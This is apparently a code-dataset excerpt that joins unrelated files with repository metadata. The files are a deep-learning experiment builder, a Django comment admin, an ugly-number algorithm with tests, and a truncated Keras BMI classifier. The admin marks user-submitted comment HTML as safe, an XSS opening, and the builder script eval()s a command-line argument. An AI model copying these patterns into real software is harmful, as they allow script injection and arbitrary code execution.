describe_end=ch032_pyramid_1side_7__2side_7__3side_5.kong_model.model_describe) .set_train_args(epochs= 1) .set_train_iter_args(it_see_fq=900, it_save_fq=900 * 2, it_down_step="half", it_down_fq=900).set_train_in_gt_use_range(use_in_range=Range(0, 1), use_gt_range=Range(0, 1)).set_result_name(result_name="") ch032_1side_7__2side_7__3side_6 = Exp_builder().set_basic("train", use_db_obj, ch032_pyramid_1side_7__2side_7__3side_6, use_loss_obj, exp_dir=exp_dir, code_exe_path=code_exe_path, describe_end=ch032_pyramid_1side_7__2side_7__3side_6.kong_model.model_describe) .set_train_args(epochs= 1) .set_train_iter_args(it_see_fq=900, it_save_fq=900 * 2, it_down_step="half", it_down_fq=900).set_train_in_gt_use_range(use_in_range=Range(0, 1), use_gt_range=Range(0, 1)).set_result_name(result_name="") ch032_1side_7__2side_7__3side_7 = Exp_builder().set_basic("train", use_db_obj, ch032_pyramid_1side_7__2side_7__3side_7, use_loss_obj, exp_dir=exp_dir, code_exe_path=code_exe_path, describe_end=ch032_pyramid_1side_7__2side_7__3side_7.kong_model.model_describe) .set_train_args(epochs= 1) .set_train_iter_args(it_see_fq=900, it_save_fq=900 * 2, it_down_step="half", it_down_fq=900).set_train_in_gt_use_range(use_in_range=Range(0, 1), use_gt_range=Range(0, 1)).set_result_name(result_name="") ch032_1side_8__2side_1__3side_1 = Exp_builder().set_basic("train", use_db_obj, ch032_pyramid_1side_8__2side_1__3side_1, use_loss_obj, exp_dir=exp_dir, code_exe_path=code_exe_path, describe_end=ch032_pyramid_1side_8__2side_1__3side_1.kong_model.model_describe) .set_train_args(epochs= 1) .set_train_iter_args(it_see_fq=900, it_save_fq=900 * 2, it_down_step="half", it_down_fq=900).set_train_in_gt_use_range(use_in_range=Range(0, 1), use_gt_range=Range(0, 1)).set_result_name(result_name="") ch032_1side_8__2side_2__3side_1 = Exp_builder().set_basic("train", use_db_obj, ch032_pyramid_1side_8__2side_2__3side_1, use_loss_obj, exp_dir=exp_dir, code_exe_path=code_exe_path, describe_end=ch032_pyramid_1side_8__2side_2__3side_1.kong_model.model_describe) .set_train_args(epochs= 1) .set_train_iter_args(it_see_fq=900, it_save_fq=900 * 2, it_down_step="half", it_down_fq=900).set_train_in_gt_use_range(use_in_range=Range(0, 1), use_gt_range=Range(0, 1)).set_result_name(result_name="") ch032_1side_8__2side_2__3side_2 = Exp_builder().set_basic("train", use_db_obj, ch032_pyramid_1side_8__2side_2__3side_2, use_loss_obj, exp_dir=exp_dir, code_exe_path=code_exe_path, describe_end=ch032_pyramid_1side_8__2side_2__3side_2.kong_model.model_describe) .set_train_args(epochs= 1) .set_train_iter_args(it_see_fq=900, it_save_fq=900 * 2, it_down_step="half", it_down_fq=900).set_train_in_gt_use_range(use_in_range=Range(0, 1), use_gt_range=Range(0, 1)).set_result_name(result_name="") ch032_1side_8__2side_3__3side_1 = Exp_builder().set_basic("train", use_db_obj, ch032_pyramid_1side_8__2side_3__3side_1, use_loss_obj, exp_dir=exp_dir, code_exe_path=code_exe_path, describe_end=ch032_pyramid_1side_8__2side_3__3side_1.kong_model.model_describe) .set_train_args(epochs= 1) .set_train_iter_args(it_see_fq=900, it_save_fq=900 * 2, it_down_step="half", it_down_fq=900).set_train_in_gt_use_range(use_in_range=Range(0, 1), use_gt_range=Range(0, 1)).set_result_name(result_name="") ch032_1side_8__2side_3__3side_2 = Exp_builder().set_basic("train", use_db_obj, ch032_pyramid_1side_8__2side_3__3side_2, use_loss_obj, exp_dir=exp_dir, code_exe_path=code_exe_path, describe_end=ch032_pyramid_1side_8__2side_3__3side_2.kong_model.model_describe) .set_train_args(epochs= 1) .set_train_iter_args(it_see_fq=900, it_save_fq=900 * 2, it_down_step="half", it_down_fq=900).set_train_in_gt_use_range(use_in_range=Range(0, 1), use_gt_range=Range(0, 1)).set_result_name(result_name="") ch032_1side_8__2side_3__3side_3 = Exp_builder().set_basic("train", use_db_obj, ch032_pyramid_1side_8__2side_3__3side_3, use_loss_obj, exp_dir=exp_dir, code_exe_path=code_exe_path, describe_end=ch032_pyramid_1side_8__2side_3__3side_3.kong_model.model_describe) .set_train_args(epochs= 1) .set_train_iter_args(it_see_fq=900, it_save_fq=900 * 2, it_down_step="half", it_down_fq=900).set_train_in_gt_use_range(use_in_range=Range(0, 1), use_gt_range=Range(0, 1)).set_result_name(result_name="") ch032_1side_8__2side_4__3side_1 = Exp_builder().set_basic("train", use_db_obj, ch032_pyramid_1side_8__2side_4__3side_1, use_loss_obj, exp_dir=exp_dir, code_exe_path=code_exe_path, describe_end=ch032_pyramid_1side_8__2side_4__3side_1.kong_model.model_describe) .set_train_args(epochs= 1) .set_train_iter_args(it_see_fq=900, it_save_fq=900 * 2, it_down_step="half", it_down_fq=900).set_train_in_gt_use_range(use_in_range=Range(0, 1), use_gt_range=Range(0, 1)).set_result_name(result_name="") ch032_1side_8__2side_4__3side_2 = Exp_builder().set_basic("train", use_db_obj, ch032_pyramid_1side_8__2side_4__3side_2, use_loss_obj, exp_dir=exp_dir, code_exe_path=code_exe_path, describe_end=ch032_pyramid_1side_8__2side_4__3side_2.kong_model.model_describe) .set_train_args(epochs= 1) .set_train_iter_args(it_see_fq=900, it_save_fq=900 * 2, it_down_step="half", it_down_fq=900).set_train_in_gt_use_range(use_in_range=Range(0, 1), use_gt_range=Range(0, 1)).set_result_name(result_name="") ch032_1side_8__2side_4__3side_3 = Exp_builder().set_basic("train", use_db_obj, ch032_pyramid_1side_8__2side_4__3side_3, use_loss_obj, exp_dir=exp_dir, code_exe_path=code_exe_path, describe_end=ch032_pyramid_1side_8__2side_4__3side_3.kong_model.model_describe) .set_train_args(epochs= 1) .set_train_iter_args(it_see_fq=900, it_save_fq=900 * 2, it_down_step="half", it_down_fq=900).set_train_in_gt_use_range(use_in_range=Range(0, 1), use_gt_range=Range(0, 1)).set_result_name(result_name="") ch032_1side_8__2side_4__3side_4 = Exp_builder().set_basic("train", use_db_obj, ch032_pyramid_1side_8__2side_4__3side_4, use_loss_obj, exp_dir=exp_dir, code_exe_path=code_exe_path, describe_end=ch032_pyramid_1side_8__2side_4__3side_4.kong_model.model_describe) .set_train_args(epochs= 1) .set_train_iter_args(it_see_fq=900, it_save_fq=900 * 2, it_down_step="half", it_down_fq=900).set_train_in_gt_use_range(use_in_range=Range(0, 1), use_gt_range=Range(0, 1)).set_result_name(result_name="") ch032_1side_8__2side_5__3side_1 = Exp_builder().set_basic("train", use_db_obj, ch032_pyramid_1side_8__2side_5__3side_1, use_loss_obj, exp_dir=exp_dir, code_exe_path=code_exe_path, describe_end=ch032_pyramid_1side_8__2side_5__3side_1.kong_model.model_describe) .set_train_args(epochs= 1) .set_train_iter_args(it_see_fq=900, it_save_fq=900 * 2, it_down_step="half", it_down_fq=900).set_train_in_gt_use_range(use_in_range=Range(0, 1), use_gt_range=Range(0, 1)).set_result_name(result_name="") ch032_1side_8__2side_5__3side_2 = Exp_builder().set_basic("train", use_db_obj, ch032_pyramid_1side_8__2side_5__3side_2, use_loss_obj, exp_dir=exp_dir, code_exe_path=code_exe_path, describe_end=ch032_pyramid_1side_8__2side_5__3side_2.kong_model.model_describe) .set_train_args(epochs= 1) .set_train_iter_args(it_see_fq=900, it_save_fq=900 * 2, it_down_step="half", it_down_fq=900).set_train_in_gt_use_range(use_in_range=Range(0, 1), use_gt_range=Range(0, 1)).set_result_name(result_name="") ch032_1side_8__2side_5__3side_3 = Exp_builder().set_basic("train", use_db_obj, ch032_pyramid_1side_8__2side_5__3side_3, use_loss_obj, exp_dir=exp_dir, code_exe_path=code_exe_path, describe_end=ch032_pyramid_1side_8__2side_5__3side_3.kong_model.model_describe) .set_train_args(epochs= 1) .set_train_iter_args(it_see_fq=900, it_save_fq=900 * 2, it_down_step="half", it_down_fq=900).set_train_in_gt_use_range(use_in_range=Range(0, 1), use_gt_range=Range(0, 1)).set_result_name(result_name="") ch032_1side_8__2side_5__3side_4 = Exp_builder().set_basic("train", use_db_obj, ch032_pyramid_1side_8__2side_5__3side_4, use_loss_obj, exp_dir=exp_dir, code_exe_path=code_exe_path, describe_end=ch032_pyramid_1side_8__2side_5__3side_4.kong_model.model_describe) .set_train_args(epochs= 1) .set_train_iter_args(it_see_fq=900, it_save_fq=900 * 2, it_down_step="half", it_down_fq=900).set_train_in_gt_use_range(use_in_range=Range(0, 1), use_gt_range=Range(0, 1)).set_result_name(result_name="") ch032_1side_8__2side_5__3side_5 = Exp_builder().set_basic("train", use_db_obj, ch032_pyramid_1side_8__2side_5__3side_5, use_loss_obj, exp_dir=exp_dir, code_exe_path=code_exe_path, describe_end=ch032_pyramid_1side_8__2side_5__3side_5.kong_model.model_describe) .set_train_args(epochs= 1) .set_train_iter_args(it_see_fq=900, it_save_fq=900 * 2, it_down_step="half", it_down_fq=900).set_train_in_gt_use_range(use_in_range=Range(0, 1), use_gt_range=Range(0, 1)).set_result_name(result_name="") ch032_1side_8__2side_6__3side_1 = Exp_builder().set_basic("train", use_db_obj, ch032_pyramid_1side_8__2side_6__3side_1, use_loss_obj, exp_dir=exp_dir, code_exe_path=code_exe_path, describe_end=ch032_pyramid_1side_8__2side_6__3side_1.kong_model.model_describe) .set_train_args(epochs= 1) .set_train_iter_args(it_see_fq=900, it_save_fq=900 * 2, it_down_step="half", it_down_fq=900).set_train_in_gt_use_range(use_in_range=Range(0, 1), use_gt_range=Range(0, 1)).set_result_name(result_name="") ch032_1side_8__2side_6__3side_2 = Exp_builder().set_basic("train", use_db_obj, ch032_pyramid_1side_8__2side_6__3side_2, use_loss_obj, exp_dir=exp_dir, code_exe_path=code_exe_path, describe_end=ch032_pyramid_1side_8__2side_6__3side_2.kong_model.model_describe) .set_train_args(epochs= 1) .set_train_iter_args(it_see_fq=900, it_save_fq=900 * 2, it_down_step="half", it_down_fq=900).set_train_in_gt_use_range(use_in_range=Range(0, 1), use_gt_range=Range(0, 1)).set_result_name(result_name="") ch032_1side_8__2side_6__3side_3 = Exp_builder().set_basic("train", use_db_obj, ch032_pyramid_1side_8__2side_6__3side_3, use_loss_obj, exp_dir=exp_dir, code_exe_path=code_exe_path, describe_end=ch032_pyramid_1side_8__2side_6__3side_3.kong_model.model_describe) .set_train_args(epochs= 1) .set_train_iter_args(it_see_fq=900, it_save_fq=900 * 2, it_down_step="half", it_down_fq=900).set_train_in_gt_use_range(use_in_range=Range(0, 1), use_gt_range=Range(0, 1)).set_result_name(result_name="") ch032_1side_8__2side_6__3side_4 = Exp_builder().set_basic("train", use_db_obj, ch032_pyramid_1side_8__2side_6__3side_4, use_loss_obj, exp_dir=exp_dir, code_exe_path=code_exe_path, describe_end=ch032_pyramid_1side_8__2side_6__3side_4.kong_model.model_describe) .set_train_args(epochs= 1) .set_train_iter_args(it_see_fq=900, it_save_fq=900 * 2, it_down_step="half", it_down_fq=900).set_train_in_gt_use_range(use_in_range=Range(0, 1), use_gt_range=Range(0, 1)).set_result_name(result_name="") ch032_1side_8__2side_6__3side_5 = Exp_builder().set_basic("train", use_db_obj, ch032_pyramid_1side_8__2side_6__3side_5, use_loss_obj, exp_dir=exp_dir, code_exe_path=code_exe_path, describe_end=ch032_pyramid_1side_8__2side_6__3side_5.kong_model.model_describe) .set_train_args(epochs= 1) .set_train_iter_args(it_see_fq=900, it_save_fq=900 * 2, it_down_step="half", it_down_fq=900).set_train_in_gt_use_range(use_in_range=Range(0, 1), use_gt_range=Range(0, 1)).set_result_name(result_name="") ch032_1side_8__2side_6__3side_6 = Exp_builder().set_basic("train", use_db_obj, ch032_pyramid_1side_8__2side_6__3side_6, use_loss_obj, exp_dir=exp_dir, code_exe_path=code_exe_path, describe_end=ch032_pyramid_1side_8__2side_6__3side_6.kong_model.model_describe) .set_train_args(epochs= 1) .set_train_iter_args(it_see_fq=900, it_save_fq=900 * 2, it_down_step="half", it_down_fq=900).set_train_in_gt_use_range(use_in_range=Range(0, 1), use_gt_range=Range(0, 1)).set_result_name(result_name="") ch032_1side_8__2side_7__3side_1 = Exp_builder().set_basic("train", use_db_obj, ch032_pyramid_1side_8__2side_7__3side_1, use_loss_obj, exp_dir=exp_dir, code_exe_path=code_exe_path, describe_end=ch032_pyramid_1side_8__2side_7__3side_1.kong_model.model_describe) .set_train_args(epochs= 1) .set_train_iter_args(it_see_fq=900, it_save_fq=900 * 2, it_down_step="half", it_down_fq=900).set_train_in_gt_use_range(use_in_range=Range(0, 1), use_gt_range=Range(0, 1)).set_result_name(result_name="") ch032_1side_8__2side_7__3side_2 = Exp_builder().set_basic("train", use_db_obj, ch032_pyramid_1side_8__2side_7__3side_2, use_loss_obj, exp_dir=exp_dir, code_exe_path=code_exe_path, describe_end=ch032_pyramid_1side_8__2side_7__3side_2.kong_model.model_describe) .set_train_args(epochs= 1) .set_train_iter_args(it_see_fq=900, it_save_fq=900 * 2, it_down_step="half", it_down_fq=900).set_train_in_gt_use_range(use_in_range=Range(0, 1), use_gt_range=Range(0, 1)).set_result_name(result_name="") ch032_1side_8__2side_7__3side_3 = Exp_builder().set_basic("train", use_db_obj, ch032_pyramid_1side_8__2side_7__3side_3, use_loss_obj, exp_dir=exp_dir, code_exe_path=code_exe_path, describe_end=ch032_pyramid_1side_8__2side_7__3side_3.kong_model.model_describe) .set_train_args(epochs= 1) .set_train_iter_args(it_see_fq=900, it_save_fq=900 * 2, it_down_step="half", it_down_fq=900).set_train_in_gt_use_range(use_in_range=Range(0, 1), use_gt_range=Range(0, 1)).set_result_name(result_name="") ch032_1side_8__2side_7__3side_4 = Exp_builder().set_basic("train", use_db_obj, ch032_pyramid_1side_8__2side_7__3side_4, use_loss_obj, exp_dir=exp_dir, code_exe_path=code_exe_path, describe_end=ch032_pyramid_1side_8__2side_7__3side_4.kong_model.model_describe) .set_train_args(epochs= 1) .set_train_iter_args(it_see_fq=900, it_save_fq=900 * 2, it_down_step="half", it_down_fq=900).set_train_in_gt_use_range(use_in_range=Range(0, 1), use_gt_range=Range(0, 1)).set_result_name(result_name="") ch032_1side_8__2side_7__3side_5 = Exp_builder().set_basic("train", use_db_obj, ch032_pyramid_1side_8__2side_7__3side_5, use_loss_obj, exp_dir=exp_dir, code_exe_path=code_exe_path, describe_end=ch032_pyramid_1side_8__2side_7__3side_5.kong_model.model_describe) .set_train_args(epochs= 1) .set_train_iter_args(it_see_fq=900, it_save_fq=900 * 2, it_down_step="half", it_down_fq=900).set_train_in_gt_use_range(use_in_range=Range(0, 1), use_gt_range=Range(0, 1)).set_result_name(result_name="") ch032_1side_8__2side_7__3side_6 = Exp_builder().set_basic("train", use_db_obj, ch032_pyramid_1side_8__2side_7__3side_6, use_loss_obj, exp_dir=exp_dir, code_exe_path=code_exe_path, describe_end=ch032_pyramid_1side_8__2side_7__3side_6.kong_model.model_describe) .set_train_args(epochs= 1) .set_train_iter_args(it_see_fq=900, it_save_fq=900 * 2, it_down_step="half", it_down_fq=900).set_train_in_gt_use_range(use_in_range=Range(0, 1), use_gt_range=Range(0, 1)).set_result_name(result_name="") ch032_1side_8__2side_7__3side_7 = Exp_builder().set_basic("train", use_db_obj, ch032_pyramid_1side_8__2side_7__3side_7, use_loss_obj, exp_dir=exp_dir, code_exe_path=code_exe_path, describe_end=ch032_pyramid_1side_8__2side_7__3side_7.kong_model.model_describe) .set_train_args(epochs= 1) .set_train_iter_args(it_see_fq=900, it_save_fq=900 * 2, it_down_step="half", it_down_fq=900).set_train_in_gt_use_range(use_in_range=Range(0, 1), use_gt_range=Range(0, 1)).set_result_name(result_name="") ch032_1side_8__2side_8__3side_1 = Exp_builder().set_basic("train", use_db_obj, ch032_pyramid_1side_8__2side_8__3side_1, use_loss_obj, exp_dir=exp_dir, code_exe_path=code_exe_path, describe_end=ch032_pyramid_1side_8__2side_8__3side_1.kong_model.model_describe) .set_train_args(epochs= 1) .set_train_iter_args(it_see_fq=900, it_save_fq=900 * 2, it_down_step="half", it_down_fq=900).set_train_in_gt_use_range(use_in_range=Range(0, 1), use_gt_range=Range(0, 1)).set_result_name(result_name="") ch032_1side_8__2side_8__3side_2 = Exp_builder().set_basic("train", use_db_obj, ch032_pyramid_1side_8__2side_8__3side_2, use_loss_obj, exp_dir=exp_dir, code_exe_path=code_exe_path, describe_end=ch032_pyramid_1side_8__2side_8__3side_2.kong_model.model_describe) .set_train_args(epochs= 1) .set_train_iter_args(it_see_fq=900, it_save_fq=900 * 2, it_down_step="half", it_down_fq=900).set_train_in_gt_use_range(use_in_range=Range(0, 1), use_gt_range=Range(0, 1)).set_result_name(result_name="") ch032_1side_8__2side_8__3side_3 = Exp_builder().set_basic("train", use_db_obj, ch032_pyramid_1side_8__2side_8__3side_3, use_loss_obj, exp_dir=exp_dir, code_exe_path=code_exe_path, describe_end=ch032_pyramid_1side_8__2side_8__3side_3.kong_model.model_describe) .set_train_args(epochs= 1) .set_train_iter_args(it_see_fq=900, it_save_fq=900 * 2, it_down_step="half", it_down_fq=900).set_train_in_gt_use_range(use_in_range=Range(0, 1), use_gt_range=Range(0, 1)).set_result_name(result_name="") ch032_1side_8__2side_8__3side_4 = Exp_builder().set_basic("train", use_db_obj, ch032_pyramid_1side_8__2side_8__3side_4, use_loss_obj, exp_dir=exp_dir, code_exe_path=code_exe_path, describe_end=ch032_pyramid_1side_8__2side_8__3side_4.kong_model.model_describe) .set_train_args(epochs= 1) .set_train_iter_args(it_see_fq=900, it_save_fq=900 * 2, it_down_step="half", it_down_fq=900).set_train_in_gt_use_range(use_in_range=Range(0, 1), use_gt_range=Range(0, 1)).set_result_name(result_name="") ch032_1side_8__2side_8__3side_5 = Exp_builder().set_basic("train", use_db_obj, ch032_pyramid_1side_8__2side_8__3side_5, use_loss_obj, exp_dir=exp_dir, code_exe_path=code_exe_path, describe_end=ch032_pyramid_1side_8__2side_8__3side_5.kong_model.model_describe) .set_train_args(epochs= 1) .set_train_iter_args(it_see_fq=900, it_save_fq=900 * 2, it_down_step="half", it_down_fq=900).set_train_in_gt_use_range(use_in_range=Range(0, 1), use_gt_range=Range(0, 1)).set_result_name(result_name="") ch032_1side_8__2side_8__3side_6 = Exp_builder().set_basic("train", use_db_obj, ch032_pyramid_1side_8__2side_8__3side_6, use_loss_obj, exp_dir=exp_dir, code_exe_path=code_exe_path, describe_end=ch032_pyramid_1side_8__2side_8__3side_6.kong_model.model_describe) .set_train_args(epochs= 1) .set_train_iter_args(it_see_fq=900, it_save_fq=900 * 2, it_down_step="half", it_down_fq=900).set_train_in_gt_use_range(use_in_range=Range(0, 1), use_gt_range=Range(0, 1)).set_result_name(result_name="") ch032_1side_8__2side_8__3side_7 = Exp_builder().set_basic("train", use_db_obj, ch032_pyramid_1side_8__2side_8__3side_7, use_loss_obj, exp_dir=exp_dir, code_exe_path=code_exe_path, describe_end=ch032_pyramid_1side_8__2side_8__3side_7.kong_model.model_describe) .set_train_args(epochs= 1) .set_train_iter_args(it_see_fq=900, it_save_fq=900 * 2, it_down_step="half", it_down_fq=900).set_train_in_gt_use_range(use_in_range=Range(0, 1), use_gt_range=Range(0, 1)).set_result_name(result_name="") ch032_1side_8__2side_8__3side_8 = Exp_builder().set_basic("train", use_db_obj, ch032_pyramid_1side_8__2side_8__3side_8, use_loss_obj, exp_dir=exp_dir, code_exe_path=code_exe_path, describe_end=ch032_pyramid_1side_8__2side_8__3side_8.kong_model.model_describe) .set_train_args(epochs= 1) .set_train_iter_args(it_see_fq=900, it_save_fq=900 * 2, it_down_step="half", it_down_fq=900).set_train_in_gt_use_range(use_in_range=Range(0, 1), use_gt_range=Range(0, 1)).set_result_name(result_name="") ############################################################# if(__name__ == "__main__"): print("build exps cost time:", time.time() - start_time) if len(sys.argv) < 2: ############################################################################################################ ### 直接按 F5 或打 python step10_b1_exp_obj_load_and_train_and_test.py,後面沒有接東西喔!才不會跑到下面給 step10_b_subprocss.py 用的程式碼~~~ ch032_1side_4__2side_3__3side_2.build().run() # print('no argument') sys.exit() ### 以下是給 step10_b_subprocess.py 用的,相當於cmd打 python step10_b1_exp_obj_load_and_train_and_test.py 某個exp.build().run() eval(sys.argv[1])
[ "s89334roy@yahoo.com.tw" ]
s89334roy@yahoo.com.tw
d2e0aba87f3f9b8864b351aa8b50b156159ae731
667f896c43a92d58a00d8a0899a68afdf7bdf2d6
/comments/admin.py
b8c35fd1f61901d7b0c59fdb8dee3a6e320c1778
[]
no_license
blazer-05/myshop3
bfa9ac1072122bbecea3bbfac6ee59c44d1d3ac6
8a91f04fc3dfa6a0d07934c5f8a6e87c39b3da61
refs/heads/master
2022-11-25T01:31:16.613811
2020-05-06T07:37:30
2020-05-06T07:37:30
141,247,818
2
2
null
2022-11-22T03:22:57
2018-07-17T07:18:38
HTML
UTF-8
Python
false
false
2,734
py
from django.contrib import admin from django.utils.safestring import mark_safe from django_summernote.admin import SummernoteModelAdmin from comments.models import Comment # Функции фильтрации для массовой публикации/снятия с публикации новостей. def all_post(modeladmin, request, queryset): for qs in queryset: print(qs.title) def complete_post(modeladmin, request, queryset): queryset.update(is_active=True) complete_post.short_description = 'Опубликовать новость' def incomplete_post(modeladmin, request, queryset): queryset.update(is_active=False) incomplete_post.short_description = 'Снять с публикации новость' # Конец Функции фильтрации @admin.register(Comment) class CommentAdmin(SummernoteModelAdmin): list_display = ['id', 'content_object', 'sender', 'is_authenticated', 'text_format', 'email', 'like', 'dislike', 'is_active', 'created', 'updated'] list_editable = ['is_active', ] list_display_links = ['content_object'] # Выводит в админке какие поля будут в виде ссылок. list_per_page = 10 # Вывод количества комментариев в админке actions = [complete_post, incomplete_post] # Методы complete_post, incomplete_post для массового снятия/публикации товаров. def sender(self, obj): '''Метод определяет в одном столбце кто добавил комментарий user или user_name (т.е. зарегистрированный или нет пользовватель)''' return obj.user or obj.user_name sender.short_description = 'Отправитель' def is_authenticated(self, obj): '''Метод определяет в одном столбце от кого был комментарий от авторизаванного или анонимного пользователя''' return bool(obj.user) is_authenticated.short_description = 'Зарегистрирован' is_authenticated.boolean = True def text_format(self, obj): '''Метод, который убирает в админке в поле text теги <p><br></p> от визуального редактора Summernote. В настройках суммернота не получилось это сделать.''' return mark_safe(obj.text) text_format.short_description = 'Комментарии' def content_object(self, content_object): return content_object content_object.short_description = 'Новость'
[ "blazer-05@mail.ru" ]
blazer-05@mail.ru
765c3cd1cbf0657bb02da732081d4795110463e2
b2a45f26d41930e4e9d304bcff74221029fe48c1
/target_offer/34_丑数.py
e4dfbfd82c4745033f0337cf8ec1e9655ff947b1
[]
no_license
Hk4Fun/algorithm_offer
29db9a9565f6e7400539f8c3b85cceb524918964
b1764cd62e1c8cb062869992d9eaa8b2d2fdf9c2
refs/heads/master
2021-07-01T04:22:58.168117
2019-04-02T12:26:32
2019-04-02T12:26:32
115,990,532
1
0
null
null
null
null
UTF-8
Python
false
false
6,653
py
__author__ = 'Hk4Fun' __date__ = '2018/2/10 21:06' '''题目描述: 把只包含质因子2、3和5的数称作丑数(Ugly Number)。例如6、8都是丑数,但14不是,因为它包含质因子7。 习惯上我们把1当做是第一个丑数。求按从小到大的顺序的第N个丑数。 ''' '''主要思路: 思路1:逐个判断每个数是否为丑数,直观但不够高效。 如果一个数能被2整除,就把它连续除以2; 如果能被3整除,就把它连续除以3; 如果能被5整除,就把它连续除以5。 如果最后我们得到的是1,那么这个数就是丑数。 该算法最大的问题就是每个整数都要计算, 即使一个数字不是丑数我们还是要对它进行求余和除法操作。 思路2:创建数组保存已经找到的丑数并排好序,关键在于如何生成下一个丑数 数组中最后一个丑数最大,记为M。设置index2,标记该位置的数乘以2大于M, 同理设置index3、index5,这样每次只需求min(A[index2]*2,A[index3]*3,A[index5]*5) 就可求出下一个丑数,然后更新三个标记。这样关键就在于如何更新这三个标记, 对于index2,只需往后遍历,直到指向的那个数乘2大于M即可停止,其他两个同理。 空间换时间,比思路1时间上快了不少 思路3:对思路2的改进,对于如何更新那三个标记,仔细推敲可以发现其实 只需让那些指向的数乘相应因子等于当前M的标记往后移一位即可, 因为 M = min(A[index2]*2,A[index3]*3,A[index5]*5),则至少有个标记是要往后移的, 且移一位即可,后面那个数乘以相应的因子一定大于M。 那么其他指向的数乘相应因子不等于当前M的标记为什么没有必要移动呢? 还是因为 M = min(A[index2]*2,A[index3]*3,A[index5]*5), 既然M是其中最小的, 那么其他的标记所指向的数乘以相应因子一定就比M大了,没有必要更新 这样就可以把思路2中的三个并列的while简化成三个并列的if 更新:这里谈谈为什么要使用这三个index,且为什么这样做可以保证按顺序产生下一个丑数。 按照正常的理解,后面的丑数都是由前面已经产生的某个丑数乘2或乘3或乘5得到,为了按照顺序, 必须把前面每个丑数乘2或乘3或乘5得到的值中取大于当前最后一个丑数的最小值。 那么问题来了,有必要把每个丑数都乘这三个因子然后取最小值? 我们发现每个丑数都要经历乘2乘3乘5的过程,但却没有必要在同一次竞争下一个丑数中乘, 所以我们反过来,标记上那些需要乘2或乘3或乘5的数,使得index2指向的数就要乘2, 因为它在下一次竞争中可能会胜利,index3和index5同理。为了满足以上规则, 我们让这三个标记从左向右各自独立遍历,这样也就让每个数都会经历乘2或乘3或乘5的过程, 且如果标记的数乘以相应因子后竞争胜利了,那么该标记就要往后挪1位, 因为新的丑数是该标记因子乘以它指向的数竞争胜利而生成的, 所以该数乘以该因子已经没有参与下一次竞争的机会了,相应的因子标记就该往后挪, 使得下一个数参与新的竞争。而其他竞争失败的标记不用动,因为它们还有竞争胜利的机会, 毕竟每次胜利的是那个乘积最小的。 ''' class Solution: def GetUglyNumber1(self, index): def isUgly(number): while number % 2 == 0: number //= 2 while number % 3 == 0: number //= 3 while number % 5 == 0: number //= 5 return number == 1 if not index or index <= 0: return 0 number = uglyFound = 0 while uglyFound < index: number += 1 if isUgly(number): uglyFound += 1 return number def GetUglyNumber2(self, index): if not index or index <= 0: return 0 uglyNumbers = [1] index2 = index3 = index5 = 0 for i in range(1, index): # 竞争产生下一个丑数 uglyNumbers.append(min(uglyNumbers[index2] * 2, uglyNumbers[index3] * 3, uglyNumbers[index5] * 5)) while uglyNumbers[index2] * 2 <= uglyNumbers[-1]: index2 += 1 while uglyNumbers[index3] * 3 <= uglyNumbers[-1]: index3 += 1 while uglyNumbers[index5] * 5 <= uglyNumbers[-1]: index5 += 1 return uglyNumbers[-1] def GetUglyNumber3(self, index): if not index or index <= 0: return 0 if index < 7: # 小于7的丑数连续 return index uglyNumbers = [1] index2 = index3 = index5 = 0 for _ in range(index - 1): # 竞争产生下一个丑数 uglyNumbers.append(min(uglyNumbers[index2] * 2, uglyNumbers[index3] * 3, uglyNumbers[index5] * 5)) # 把思路2中的三个并列的while简化成三个并列的if # 可能会有多个标记竞争胜利,即丑数恰好是前面标记所在值的公倍数 # 因此必须是并列的if,不能if...elif...else if uglyNumbers[-1] == uglyNumbers[index2] * 2: index2 += 1 if uglyNumbers[-1] == uglyNumbers[index3] * 3: index3 += 1 if uglyNumbers[-1] == uglyNumbers[index5] * 5: index5 += 1 return uglyNumbers[-1] # ================================测试代码================================ from Test import Test class MyTest(Test): def my_test_code(self): # 只需在此处填写自己的测试代码 # testArgs中每一项是一次测试,每一项由两部分构成 # 第一部分为被测试函数的参数,第二部分只有最后一个,为正确答案 self.debug = True testArgs = [] testArgs.append([1, 1]) testArgs.append([2, 2]) testArgs.append([3, 3]) testArgs.append([4, 4]) testArgs.append([5, 5]) testArgs.append([6, 6]) testArgs.append([7, 8]) testArgs.append([8, 9]) testArgs.append([9, 10]) testArgs.append([10, 12]) testArgs.append([11, 15]) # testArgs.append([1500, 859963392]) testArgs.append([0, 0]) return testArgs def convert(self, result, *func_arg): return result if __name__ == '__main__': solution = Solution() MyTest(solution=solution).start_test()
[ "941222165chenhongwen@gmail.com" ]
941222165chenhongwen@gmail.com
2952d3163c6deb0bb67610b3eb1032741fce506b
6dd400fec6f302bd0dcf309e2deec5de906d205c
/anal_pro4/deep_learn3/tf_classifi7_ex.py
c0b46953504a7cddfb096583808dd5790dc9ab65
[]
no_license
Leo-hw/psou
aa938b7cfaa373a0980649125270c48d816202b0
70379156a623257d412bcccbac72986a61226bd4
refs/heads/master
2023-02-21T19:00:02.902510
2021-01-25T07:03:26
2021-01-25T07:03:26
332,616,685
1
0
null
null
null
null
UTF-8
Python
false
false
2,875
py
import numpy as np import matplotlib.pyplot as plt from sklearn.model_selection import train_test_split from sklearn.preprocessing import OneHotEncoder, StandardScaler from sklearn.metrics import roc_curve, auc from tensorflow.keras.models import Sequential from tensorflow.keras.layers import Dense import pandas as pd from sklearn.metrics import confusion_matrix, classification_report, accuracy_score data = pd.read_csv('https://raw.githubusercontent.com/pykwon/python/master/testdata_utf8/bmi.csv') print(data.head(3)) print(data.info()) replace = {'thin':0,'normal':1,'fat':2} data = data.replace({'label':replace}) x = np.array(data.iloc[:,:-1]) # print(x.shape) y_data = np.array(data.iloc[:,-1]) # print(x_data) # print(y_data) onehot = OneHotEncoder(categories='auto') y = onehot.fit_transform(y_data[:,np.newaxis]).toarray() # print(x) # print(y) # 표준화 ''' scaler = StandardScaler() x = scaler.fit_transform(x) print(x[:2]) ''' x_train, x_test, y_train, y_test = train_test_split(x, y, test_size=0.3, random_state=1) print(x_train.shape,' ', x_test.shape) # (14000, 2) (6000, 2) print(y_train.shape,' ', y_test.shape) # (14000, 3) (6000, 3) model = Sequential() model.add(Dense(32, input_dim=2, activation='relu')) model.add(Dense(16, activation='relu')) model.add(Dense(8, activation='relu')) model.add(Dense(3, activation='softmax')) # print(model.summary()) model.compile(loss='categorical_crossentropy', optimizer='adam', metrics=['accuracy']) history = model.fit(x_train,y_train, epochs=20, batch_size=32,verbose=2) print('모델 검증 : ', model.evaluate(x_test, y_test)) print('----------------') y_pred = np.argmax(model.predict(x_test), axis= 1) print('예측값 :', y_pred) real_y = np.argmax(y_test, axis =1).reshape(-1,1) print('실제값 